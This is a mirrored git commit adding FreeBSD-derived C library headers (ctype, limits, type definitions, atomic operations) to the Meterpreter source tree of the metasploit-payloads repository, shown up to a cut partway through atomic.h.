mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-16 00:24:29 +01:00
Merge in JR's ulibc code
git-svn-id: file:///home/svn/framework3/trunk@6944 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
cf3bca5278
commit
34580b5785
190
c/meterpreter/source/ulibc/_ctype.h
Normal file
190
c/meterpreter/source/ulibc/_ctype.h
Normal file
@ -0,0 +1,190 @@
|
||||
/*
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
* (c) UNIX System Laboratories, Inc.
|
||||
* All or some portions of this file are derived from material licensed
|
||||
* to the University of California by American Telephone and Telegraph
|
||||
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
* the permission of UNIX System Laboratories, Inc.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Paul Borman at Krystal Technologies.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* From @(#)ctype.h 8.4 (Berkeley) 1/21/94
|
||||
* From FreeBSD: src/include/ctype.h,v 1.27 2004/06/23 07:11:39 tjr Exp
|
||||
* $FreeBSD: head/include/_ctype.h 173244 2007-11-01 03:18:02Z ache $
|
||||
*/
|
||||
|
||||
#ifndef __CTYPE_H_
|
||||
#define __CTYPE_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
#define _CTYPE_A 0x00000100L /* Alpha */
|
||||
#define _CTYPE_C 0x00000200L /* Control */
|
||||
#define _CTYPE_D 0x00000400L /* Digit */
|
||||
#define _CTYPE_G 0x00000800L /* Graph */
|
||||
#define _CTYPE_L 0x00001000L /* Lower */
|
||||
#define _CTYPE_P 0x00002000L /* Punct */
|
||||
#define _CTYPE_S 0x00004000L /* Space */
|
||||
#define _CTYPE_U 0x00008000L /* Upper */
|
||||
#define _CTYPE_X 0x00010000L /* X digit */
|
||||
#define _CTYPE_B 0x00020000L /* Blank */
|
||||
#define _CTYPE_R 0x00040000L /* Print */
|
||||
#define _CTYPE_I 0x00080000L /* Ideogram */
|
||||
#define _CTYPE_T 0x00100000L /* Special */
|
||||
#define _CTYPE_Q 0x00200000L /* Phonogram */
|
||||
#define _CTYPE_SW0 0x20000000L /* 0 width character */
|
||||
#define _CTYPE_SW1 0x40000000L /* 1 width character */
|
||||
#define _CTYPE_SW2 0x80000000L /* 2 width character */
|
||||
#define _CTYPE_SW3 0xc0000000L /* 3 width character */
|
||||
#define _CTYPE_SWM 0xe0000000L /* Mask for screen width data */
|
||||
#define _CTYPE_SWS 30 /* Bits to shift to get width */
|
||||
|
||||
/* See comments in <sys/_types.h> about __ct_rune_t. */
|
||||
__BEGIN_DECLS
|
||||
unsigned long ___runetype(__ct_rune_t) __pure;
|
||||
__ct_rune_t ___tolower(__ct_rune_t) __pure;
|
||||
__ct_rune_t ___toupper(__ct_rune_t) __pure;
|
||||
__END_DECLS
|
||||
|
||||
/*
|
||||
* _EXTERNALIZE_CTYPE_INLINES_ is defined in locale/nomacros.c to tell us
|
||||
* to generate code for extern versions of all our inline functions.
|
||||
*/
|
||||
#ifdef _EXTERNALIZE_CTYPE_INLINES_
|
||||
#define _USE_CTYPE_INLINE_
|
||||
#define static
|
||||
#define __inline
|
||||
#endif
|
||||
|
||||
extern int __mb_sb_limit;
|
||||
|
||||
/*
|
||||
* Use inline functions if we are allowed to and the compiler supports them.
|
||||
*/
|
||||
#if !defined(_DONT_USE_CTYPE_INLINE_) && \
|
||||
(defined(_USE_CTYPE_INLINE_) || defined(__GNUC__) || defined(__cplusplus))
|
||||
|
||||
#include <runetype.h>
|
||||
|
||||
static __inline int
|
||||
__maskrune(__ct_rune_t _c, unsigned long _f)
|
||||
{
|
||||
return ((_c < 0 || _c >= _CACHED_RUNES) ? ___runetype(_c) :
|
||||
_CurrentRuneLocale->__runetype[_c]) & _f;
|
||||
}
|
||||
|
||||
static __inline int
|
||||
__sbmaskrune(__ct_rune_t _c, unsigned long _f)
|
||||
{
|
||||
return (_c < 0 || _c >= __mb_sb_limit) ? 0 :
|
||||
_CurrentRuneLocale->__runetype[_c] & _f;
|
||||
}
|
||||
|
||||
static __inline int
|
||||
__istype(__ct_rune_t _c, unsigned long _f)
|
||||
{
|
||||
return (!!__maskrune(_c, _f));
|
||||
}
|
||||
|
||||
static __inline int
|
||||
__sbistype(__ct_rune_t _c, unsigned long _f)
|
||||
{
|
||||
return (!!__sbmaskrune(_c, _f));
|
||||
}
|
||||
|
||||
static __inline int
|
||||
__isctype(__ct_rune_t _c, unsigned long _f)
|
||||
{
|
||||
return (_c < 0 || _c >= 128) ? 0 :
|
||||
!!(_DefaultRuneLocale.__runetype[_c] & _f);
|
||||
}
|
||||
|
||||
static __inline __ct_rune_t
|
||||
__toupper(__ct_rune_t _c)
|
||||
{
|
||||
return (_c < 0 || _c >= _CACHED_RUNES) ? ___toupper(_c) :
|
||||
_CurrentRuneLocale->__mapupper[_c];
|
||||
}
|
||||
|
||||
static __inline __ct_rune_t
|
||||
__sbtoupper(__ct_rune_t _c)
|
||||
{
|
||||
return (_c < 0 || _c >= __mb_sb_limit) ? _c :
|
||||
_CurrentRuneLocale->__mapupper[_c];
|
||||
}
|
||||
|
||||
static __inline __ct_rune_t
|
||||
__tolower(__ct_rune_t _c)
|
||||
{
|
||||
return (_c < 0 || _c >= _CACHED_RUNES) ? ___tolower(_c) :
|
||||
_CurrentRuneLocale->__maplower[_c];
|
||||
}
|
||||
|
||||
static __inline __ct_rune_t
|
||||
__sbtolower(__ct_rune_t _c)
|
||||
{
|
||||
return (_c < 0 || _c >= __mb_sb_limit) ? _c :
|
||||
_CurrentRuneLocale->__maplower[_c];
|
||||
}
|
||||
|
||||
static __inline int
|
||||
__wcwidth(__ct_rune_t _c)
|
||||
{
|
||||
unsigned int _x;
|
||||
|
||||
if (_c == 0)
|
||||
return (0);
|
||||
_x = (unsigned int)__maskrune(_c, _CTYPE_SWM|_CTYPE_R);
|
||||
if ((_x & _CTYPE_SWM) != 0)
|
||||
return ((_x & _CTYPE_SWM) >> _CTYPE_SWS);
|
||||
return ((_x & _CTYPE_R) != 0 ? 1 : -1);
|
||||
}
|
||||
|
||||
#else /* not using inlines */
|
||||
|
||||
__BEGIN_DECLS
|
||||
int __maskrune(__ct_rune_t, unsigned long);
|
||||
int __sbmaskrune(__ct_rune_t, unsigned long);
|
||||
int __istype(__ct_rune_t, unsigned long);
|
||||
int __sbistype(__ct_rune_t, unsigned long);
|
||||
int __isctype(__ct_rune_t, unsigned long);
|
||||
__ct_rune_t __toupper(__ct_rune_t);
|
||||
__ct_rune_t __sbtoupper(__ct_rune_t);
|
||||
__ct_rune_t __tolower(__ct_rune_t);
|
||||
__ct_rune_t __sbtolower(__ct_rune_t);
|
||||
int __wcwidth(__ct_rune_t);
|
||||
__END_DECLS
|
||||
#endif /* using inlines */
|
||||
|
||||
#endif /* !__CTYPE_H_ */
|
103
c/meterpreter/source/ulibc/arch/Linux/i686/_limits.h
Normal file
103
c/meterpreter/source/ulibc/arch/Linux/i686/_limits.h
Normal file
@ -0,0 +1,103 @@
|
||||
/*-
|
||||
* Copyright (c) 1988, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)limits.h 8.3 (Berkeley) 1/4/94
|
||||
* $FreeBSD: head/sys/i386/include/_limits.h 149337 2005-08-20 16:44:41Z stefanf $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE__LIMITS_H_
|
||||
#define _MACHINE__LIMITS_H_
|
||||
|
||||
/*
|
||||
* According to ANSI (section 2.2.4.2), the values below must be usable by
|
||||
* #if preprocessing directives. Additionally, the expression must have the
|
||||
* same type as would an expression that is an object of the corresponding
|
||||
* type converted according to the integral promotions. The subtraction for
|
||||
* INT_MIN, etc., is so the value is not unsigned; e.g., 0x80000000 is an
|
||||
* unsigned int for 32-bit two's complement ANSI compilers (section 3.1.3.2).
|
||||
* These numbers are for the default configuration of gcc. They work for
|
||||
* some other compilers as well, but this should not be depended on.
|
||||
*/
|
||||
|
||||
#define __CHAR_BIT 8 /* number of bits in a char */
|
||||
|
||||
#define __SCHAR_MAX 0x7f /* max value for a signed char */
|
||||
#define __SCHAR_MIN (-0x7f - 1) /* min value for a signed char */
|
||||
|
||||
#define __UCHAR_MAX 0xff /* max value for an unsigned char */
|
||||
|
||||
#define __USHRT_MAX 0xffff /* max value for an unsigned short */
|
||||
#define __SHRT_MAX 0x7fff /* max value for a short */
|
||||
#define __SHRT_MIN (-0x7fff - 1) /* min value for a short */
|
||||
|
||||
#define __UINT_MAX 0xffffffffU /* max value for an unsigned int */
|
||||
#define __INT_MAX 0x7fffffff /* max value for an int */
|
||||
#define __INT_MIN (-0x7fffffff - 1) /* min value for an int */
|
||||
|
||||
/* Bad hack for gcc configured to give 64-bit longs. */
|
||||
#ifdef _LARGE_LONG
|
||||
#define __ULONG_MAX 0xffffffffffffffffUL
|
||||
#define __LONG_MAX 0x7fffffffffffffffL
|
||||
#define __LONG_MIN (-0x7fffffffffffffffL - 1)
|
||||
#else
|
||||
#define __ULONG_MAX 0xffffffffUL /* max value for an unsigned long */
|
||||
#define __LONG_MAX 0x7fffffffL /* max value for a long */
|
||||
#define __LONG_MIN (-0x7fffffffL - 1) /* min value for a long */
|
||||
#endif
|
||||
|
||||
/* max value for an unsigned long long */
|
||||
#define __ULLONG_MAX 0xffffffffffffffffULL
|
||||
#define __LLONG_MAX 0x7fffffffffffffffLL /* max value for a long long */
|
||||
#define __LLONG_MIN (-0x7fffffffffffffffLL - 1) /* min for a long long */
|
||||
|
||||
#define __SSIZE_MAX __INT_MAX /* max value for a ssize_t */
|
||||
|
||||
#define __SIZE_T_MAX __UINT_MAX /* max value for a size_t */
|
||||
|
||||
#define __OFF_MAX __LLONG_MAX /* max value for an off_t */
|
||||
#define __OFF_MIN __LLONG_MIN /* min value for an off_t */
|
||||
|
||||
/* Quads and long longs are the same size. Ensure they stay in sync. */
|
||||
#define __UQUAD_MAX __ULLONG_MAX /* max value for a uquad_t */
|
||||
#define __QUAD_MAX __LLONG_MAX /* max value for a quad_t */
|
||||
#define __QUAD_MIN __LLONG_MIN /* min value for a quad_t */
|
||||
|
||||
#ifdef _LARGE_LONG
|
||||
#define __LONG_BIT 64
|
||||
#else
|
||||
#define __LONG_BIT 32
|
||||
#endif
|
||||
#define __WORD_BIT 32
|
||||
|
||||
/*
|
||||
* Minimum signal stack size. The current signal frame
|
||||
* for i386 is 408 bytes large.
|
||||
*/
|
||||
#define __MINSIGSTKSZ (512 * 4)
|
||||
|
||||
#endif /* !_MACHINE__LIMITS_H_ */
|
134
c/meterpreter/source/ulibc/arch/Linux/i686/_types.h
Normal file
134
c/meterpreter/source/ulibc/arch/Linux/i686/_types.h
Normal file
@ -0,0 +1,134 @@
|
||||
/*-
|
||||
* Copyright (c) 2002 Mike Barcroft <mike@FreeBSD.org>
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* From: @(#)ansi.h 8.2 (Berkeley) 1/4/94
|
||||
* From: @(#)types.h 8.3 (Berkeley) 1/5/94
|
||||
* $FreeBSD: head/sys/i386/include/_types.h 176827 2008-03-05 11:21:14Z bde $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE__TYPES_H_
|
||||
#define _MACHINE__TYPES_H_
|
||||
|
||||
#ifndef _SYS_CDEFS_H_
|
||||
#error this file needs sys/cdefs.h as a prerequisite
|
||||
#endif
|
||||
|
||||
#define __NO_STRICT_ALIGNMENT
|
||||
|
||||
/*
|
||||
* Basic types upon which most other types are built.
|
||||
*/
|
||||
typedef __signed char __int8_t;
|
||||
typedef unsigned char __uint8_t;
|
||||
typedef short __int16_t;
|
||||
typedef unsigned short __uint16_t;
|
||||
typedef int __int32_t;
|
||||
typedef unsigned int __uint32_t;
|
||||
|
||||
#if defined(lint)
|
||||
/* LONGLONG */
|
||||
typedef long long __int64_t;
|
||||
/* LONGLONG */
|
||||
typedef unsigned long long __uint64_t;
|
||||
#elif defined(__GNUCLIKE_ATTRIBUTE_MODE_DI)
|
||||
typedef int __attribute__((__mode__(__DI__))) __int64_t;
|
||||
typedef unsigned int __attribute__((__mode__(__DI__))) __uint64_t;
|
||||
#else
|
||||
/* LONGLONG */
|
||||
typedef long long __int64_t;
|
||||
/* LONGLONG */
|
||||
typedef unsigned long long __uint64_t;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Standard type definitions.
|
||||
*/
|
||||
typedef unsigned long __clock_t; /* clock()... */
|
||||
typedef unsigned int __cpumask_t;
|
||||
typedef __int32_t __critical_t;
|
||||
typedef long double __double_t;
|
||||
typedef long double __float_t;
|
||||
typedef __int32_t __intfptr_t;
|
||||
typedef __int64_t __intmax_t;
|
||||
typedef __int32_t __intptr_t;
|
||||
typedef __int32_t __int_fast8_t;
|
||||
typedef __int32_t __int_fast16_t;
|
||||
typedef __int32_t __int_fast32_t;
|
||||
typedef __int64_t __int_fast64_t;
|
||||
typedef __int8_t __int_least8_t;
|
||||
typedef __int16_t __int_least16_t;
|
||||
typedef __int32_t __int_least32_t;
|
||||
typedef __int64_t __int_least64_t;
|
||||
typedef __int32_t __ptrdiff_t; /* ptr1 - ptr2 */
|
||||
typedef __int32_t __register_t;
|
||||
typedef __int32_t __segsz_t; /* segment size (in pages) */
|
||||
typedef __uint32_t __size_t; /* sizeof() */
|
||||
typedef __int32_t __ssize_t; /* byte count or error */
|
||||
typedef __int32_t __time_t; /* time()... */
|
||||
typedef __uint32_t __uintfptr_t;
|
||||
typedef __uint64_t __uintmax_t;
|
||||
typedef __uint32_t __uintptr_t;
|
||||
typedef __uint32_t __uint_fast8_t;
|
||||
typedef __uint32_t __uint_fast16_t;
|
||||
typedef __uint32_t __uint_fast32_t;
|
||||
typedef __uint64_t __uint_fast64_t;
|
||||
typedef __uint8_t __uint_least8_t;
|
||||
typedef __uint16_t __uint_least16_t;
|
||||
typedef __uint32_t __uint_least32_t;
|
||||
typedef __uint64_t __uint_least64_t;
|
||||
typedef __uint32_t __u_register_t;
|
||||
typedef __uint32_t __vm_offset_t;
|
||||
typedef __int64_t __vm_ooffset_t;
|
||||
#ifdef PAE
|
||||
typedef __uint64_t __vm_paddr_t;
|
||||
#else
|
||||
typedef __uint32_t __vm_paddr_t;
|
||||
#endif
|
||||
typedef __uint64_t __vm_pindex_t;
|
||||
typedef __uint32_t __vm_size_t;
|
||||
|
||||
/*
|
||||
* Unusual type definitions.
|
||||
*/
|
||||
#ifdef __GNUCLIKE_BUILTIN_VARARGS
|
||||
typedef __builtin_va_list __va_list; /* internally known to gcc */
|
||||
#else
|
||||
typedef char * __va_list;
|
||||
#endif /* __GNUCLIKE_BUILTIN_VARARGS */
|
||||
#if defined(__GNUC_VA_LIST_COMPATIBILITY) && !defined(__GNUC_VA_LIST) \
|
||||
&& !defined(__NO_GNUC_VA_LIST)
|
||||
#define __GNUC_VA_LIST
|
||||
typedef __va_list __gnuc_va_list; /* compatibility w/GNU headers*/
|
||||
#endif
|
||||
|
||||
#endif /* !_MACHINE__TYPES_H_ */
|
15
c/meterpreter/source/ulibc/arch/Linux/i686/arith.h
Normal file
15
c/meterpreter/source/ulibc/arch/Linux/i686/arith.h
Normal file
@ -0,0 +1,15 @@
|
||||
/*
|
||||
* MD header for contrib/gdtoa
|
||||
*
|
||||
* $FreeBSD: head/lib/libc/i386/arith.h 114839 2003-05-08 13:50:44Z das $
|
||||
*/
|
||||
|
||||
/*
|
||||
* NOTE: The definitions in this file must be correct or strtod(3) and
|
||||
* floating point formats in printf(3) will break! The file can be
|
||||
* generated by running contrib/gdtoa/arithchk.c on the target
|
||||
* architecture. See contrib/gdtoa/gdtoaimp.h for details.
|
||||
*/
|
||||
|
||||
#define IEEE_8087
|
||||
#define Arith_Kind_ASL 1
|
471
c/meterpreter/source/ulibc/arch/Linux/i686/atomic.h
Normal file
471
c/meterpreter/source/ulibc/arch/Linux/i686/atomic.h
Normal file
@ -0,0 +1,471 @@
|
||||
/*-
|
||||
* Copyright (c) 1998 Doug Rabson
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/sys/i386/include/atomic.h 185720 2008-12-06 21:33:44Z kib $
|
||||
*/
|
||||
#ifndef _MACHINE_ATOMIC_H_
|
||||
#define _MACHINE_ATOMIC_H_
|
||||
|
||||
#ifndef _SYS_CDEFS_H_
|
||||
#error this file needs sys/cdefs.h as a prerequisite
|
||||
#endif
|
||||
|
||||
|
||||
#define mb() __asm __volatile("lock; addl $0,(%%esp)" : : : "memory")
|
||||
#define wmb() __asm __volatile("lock; addl $0,(%%esp)" : : : "memory")
|
||||
#define rmb() __asm __volatile("lock; addl $0,(%%esp)" : : : "memory")
|
||||
|
||||
/*
|
||||
* Various simple operations on memory, each of which is atomic in the
|
||||
* presence of interrupts and multiple processors.
|
||||
*
|
||||
* atomic_set_char(P, V) (*(u_char *)(P) |= (V))
|
||||
* atomic_clear_char(P, V) (*(u_char *)(P) &= ~(V))
|
||||
* atomic_add_char(P, V) (*(u_char *)(P) += (V))
|
||||
* atomic_subtract_char(P, V) (*(u_char *)(P) -= (V))
|
||||
*
|
||||
* atomic_set_short(P, V) (*(u_short *)(P) |= (V))
|
||||
* atomic_clear_short(P, V) (*(u_short *)(P) &= ~(V))
|
||||
* atomic_add_short(P, V) (*(u_short *)(P) += (V))
|
||||
* atomic_subtract_short(P, V) (*(u_short *)(P) -= (V))
|
||||
*
|
||||
* atomic_set_int(P, V) (*(u_int *)(P) |= (V))
|
||||
* atomic_clear_int(P, V) (*(u_int *)(P) &= ~(V))
|
||||
* atomic_add_int(P, V) (*(u_int *)(P) += (V))
|
||||
* atomic_subtract_int(P, V) (*(u_int *)(P) -= (V))
|
||||
* atomic_readandclear_int(P) (return (*(u_int *)(P)); *(u_int *)(P) = 0;)
|
||||
*
|
||||
* atomic_set_long(P, V) (*(u_long *)(P) |= (V))
|
||||
* atomic_clear_long(P, V) (*(u_long *)(P) &= ~(V))
|
||||
* atomic_add_long(P, V) (*(u_long *)(P) += (V))
|
||||
* atomic_subtract_long(P, V) (*(u_long *)(P) -= (V))
|
||||
* atomic_readandclear_long(P) (return (*(u_long *)(P)); *(u_long *)(P) = 0;)
|
||||
*/
|
||||
|
||||
/*
|
||||
* The above functions are expanded inline in the statically-linked
|
||||
* kernel. Lock prefixes are generated if an SMP kernel is being
|
||||
* built.
|
||||
*
|
||||
* Kernel modules call real functions which are built into the kernel.
|
||||
* This allows kernel modules to be portable between UP and SMP systems.
|
||||
*/
|
||||
#if defined(KLD_MODULE) || !defined(__GNUCLIKE_ASM)
|
||||
#define ATOMIC_ASM(NAME, TYPE, OP, CONS, V) \
|
||||
void atomic_##NAME##_##TYPE(volatile u_##TYPE *p, u_##TYPE v)
|
||||
|
||||
int atomic_cmpset_int(volatile u_int *dst, u_int exp, u_int src);
|
||||
u_int atomic_fetchadd_int(volatile u_int *p, u_int v);
|
||||
|
||||
#define ATOMIC_STORE_LOAD(TYPE, LOP, SOP) \
|
||||
u_##TYPE atomic_load_acq_##TYPE(volatile u_##TYPE *p); \
|
||||
void atomic_store_rel_##TYPE(volatile u_##TYPE *p, u_##TYPE v)
|
||||
|
||||
#else /* !KLD_MODULE && __GNUCLIKE_ASM */
|
||||
|
||||
/*
|
||||
* For userland, always use lock prefixes so that the binaries will run
|
||||
* on both SMP and !SMP systems.
|
||||
*/
|
||||
#if defined(SMP) || !defined(_KERNEL)
|
||||
#define MPLOCKED "lock ; "
|
||||
#else
|
||||
#define MPLOCKED
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The assembly is volatilized to demark potential before-and-after side
|
||||
* effects if an interrupt or SMP collision were to occur.
|
||||
*/
|
||||
#define ATOMIC_ASM(NAME, TYPE, OP, CONS, V) \
|
||||
static __inline void \
|
||||
atomic_##NAME##_##TYPE(volatile u_##TYPE *p, u_##TYPE v)\
|
||||
{ \
|
||||
__asm __volatile(MPLOCKED OP \
|
||||
: "=m" (*p) \
|
||||
: CONS (V), "m" (*p)); \
|
||||
} \
|
||||
struct __hack
|
||||
|
||||
/*
|
||||
* Atomic compare and set, used by the mutex functions
|
||||
*
|
||||
* if (*dst == exp) *dst = src (all 32 bit words)
|
||||
*
|
||||
* Returns 0 on failure, non-zero on success
|
||||
*/
|
||||
|
||||
#ifdef CPU_DISABLE_CMPXCHG
|
||||
|
||||
static __inline int
|
||||
atomic_cmpset_int(volatile u_int *dst, u_int exp, u_int src)
|
||||
{
|
||||
u_char res;
|
||||
|
||||
__asm __volatile(
|
||||
" pushfl ; "
|
||||
" cli ; "
|
||||
" cmpl %3,%4 ; "
|
||||
" jne 1f ; "
|
||||
" movl %2,%1 ; "
|
||||
"1: "
|
||||
" sete %0 ; "
|
||||
" popfl ; "
|
||||
"# atomic_cmpset_int"
|
||||
: "=q" (res), /* 0 */
|
||||
"=m" (*dst) /* 1 */
|
||||
: "r" (src), /* 2 */
|
||||
"r" (exp), /* 3 */
|
||||
"m" (*dst) /* 4 */
|
||||
: "memory");
|
||||
|
||||
return (res);
|
||||
}
|
||||
|
||||
#else /* !CPU_DISABLE_CMPXCHG */
|
||||
|
||||
static __inline int
|
||||
atomic_cmpset_int(volatile u_int *dst, u_int exp, u_int src)
|
||||
{
|
||||
u_char res;
|
||||
|
||||
__asm __volatile(
|
||||
" " MPLOCKED " "
|
||||
" cmpxchgl %2,%1 ; "
|
||||
" sete %0 ; "
|
||||
"1: "
|
||||
"# atomic_cmpset_int"
|
||||
: "=a" (res), /* 0 */
|
||||
"=m" (*dst) /* 1 */
|
||||
: "r" (src), /* 2 */
|
||||
"a" (exp), /* 3 */
|
||||
"m" (*dst) /* 4 */
|
||||
: "memory");
|
||||
|
||||
return (res);
|
||||
}
|
||||
|
||||
#endif /* CPU_DISABLE_CMPXCHG */
|
||||
|
||||
/*
|
||||
* Atomically add the value of v to the integer pointed to by p and return
|
||||
* the previous value of *p.
|
||||
*/
|
||||
static __inline u_int
|
||||
atomic_fetchadd_int(volatile u_int *p, u_int v)
|
||||
{
|
||||
|
||||
__asm __volatile(
|
||||
" " MPLOCKED " "
|
||||
" xaddl %0, %1 ; "
|
||||
"# atomic_fetchadd_int"
|
||||
: "+r" (v), /* 0 (result) */
|
||||
"=m" (*p) /* 1 */
|
||||
: "m" (*p)); /* 2 */
|
||||
|
||||
return (v);
|
||||
}
|
||||
|
||||
#if defined(_KERNEL) && !defined(SMP)
|
||||
|
||||
/*
|
||||
* We assume that a = b will do atomic loads and stores. However, on a
|
||||
* PentiumPro or higher, reads may pass writes, so for that case we have
|
||||
* to use a serializing instruction (i.e. with LOCK) to do the load in
|
||||
* SMP kernels. For UP kernels, however, the cache of the single processor
|
||||
* is always consistent, so we don't need any memory barriers.
|
||||
*/
|
